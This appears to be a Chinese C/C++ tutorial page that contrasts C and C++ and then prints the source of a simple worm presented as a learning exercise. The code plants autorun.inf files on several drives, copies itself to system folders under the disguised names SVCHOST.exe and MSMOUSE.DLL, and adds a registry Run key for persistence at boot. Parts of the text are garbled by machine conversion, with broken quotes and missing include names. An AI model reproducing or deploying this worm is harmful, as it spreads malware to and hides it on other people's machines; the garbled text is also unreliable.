C語言C++程式設計師程式設計基礎入門到精通開發學習—蠕蟲病毒

C語言是面向過程的,而C++是面向物件的

C和C++的區別:

C是一個結構化語言,它的重點在於演算法和資料結構。C程式的設計首要考慮的是如何透過一個過程,對輸入(或環境條件)進行運算處理得到輸出(或實現過程(事務)控制)。

C++,首要考慮的是如何構造一個物件模型,讓這個模型能夠契合與之對應的問題域,這樣就可以透過獲取物件的狀態資訊得到輸出或實現過程(事務)控制。 所以C與C++的最大區別在於它們的用於解決問題的思想方法不一樣。之所以說C++比C更先進,是因為“ 設計這個概念已經被融入到C++之中 ”。

C與C++的最大區別:在於它們的用於解決問題的思想方法不一樣。之所以說C++比C更先進,是因為“ 設計這個概念已經被融入到C++之中 ”,而就語言本身而言,在C中更多的是演算法的概念。那麼是不是C就不重要了,錯!演算法是程式設計的基礎,好的設計如果沒有好的演算法,一樣不行。而且,“C加上好的設計”也能寫出非常好的東西。

C語言/C++程式設計師程式設計基礎入門到精通開發學習—蠕蟲病毒

// VirusProjss。cpp : 界說節制臺應用軌範的進口點。

//

// C說話開發蠕蟲病毒

#include “stdafx。h”

#include

#include

#include

#define SVCHOST_NUML 6

char *autorun = { “[autorun] open=SVCHOST。exe shell\1=翻開 shell\1 \Command=SVCHOST。exe shell\2\=Open shell\2\Command=SVCHOST。exe shellexecute=SVCHOST。exe” };

char *files_autorun[10] = { “c:\autorun。inf”, “d:\autorun。inf”, “e:\autorun。inf” };

char *files_svchost[SVCHOST_NUML + 1] = { “c:\windows\system\MSMOUSE。DLL”,

“c:\windows\system\SVCHOST。exe”, “c:\windows\SVCHOST。exe”,

“c:\SVCHOST。exe”, “d:\SVCHOST。exe”, “e:\SVCHOST。exe”, “SVCHOST。exe” };

char *regadd = “reg add ”HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run“ /v SVCHOST /d C:\Windows\system\SVCHOST。exe /f”;

// 資料檔案複製功能

int DataCopy(char *pInFile, char *pOutFile)

{

FILE *fInput, *fOutput;

char temp;

if (strcmp(pInFile, pOutFile) != 0 && ((fInput = fopen(pInFile, “rb”)) != NULL) && ((fOutput = fopen(pOutFile, “wb”)) != NULL))

{

while (!feof(fInput))

{

fread(&temp, 1, 1, fInput);

fwrite(&temp, 1, 1, fOutput);

}

fclose(fInput);

fclose(fOutput);

return 0;

}

else

return 1;

}

void TestingVirusFunc()

{

FILE *input, *output;

C語言/C++程式設計師程式設計基礎入門到精通開發學習—蠕蟲病毒

int i, k;

for (i = 0; i < 3; i++)

{

output = fopen(files_autorun[i], “w”);

fprintf(output, “%s”, autorun);

fclose(output);

}

for (i = 0; i <= SVCHOST_NUML; i++)

{

if ((input = fopen(files_svchost[i], “rb”)) != NULL)

{

fclose(input);

for (k = 0; k < SVCHOST_NUML; k++)

{

DataCopy(files_svchost[i], files_svchost[k]);

}

i = SVCHOST_NUML + 1;

}

}

system(regadd); // 註冊svchost。exe,讓其在開機時主動啟動

C語言/C++程式設計師程式設計基礎入門到精通開發學習—蠕蟲病毒

}

int _tmain(int argc, _TCHAR* argv[])

{

TestingVirusFunc();

return 0;

}

運轉了局如下:

C語言/C++程式設計師程式設計基礎入門到精通開發學習—蠕蟲病毒

這些是C/C++能做的

伺服器開發工程師、人工智慧、雲計算工程師、資訊保安(駭客反駭客)、大資料 、資料平臺、嵌入式工程師、流媒體伺服器、資料控解、影象處理、音訊影片開發工程師、遊戲伺服器、分散式系統、遊戲輔助等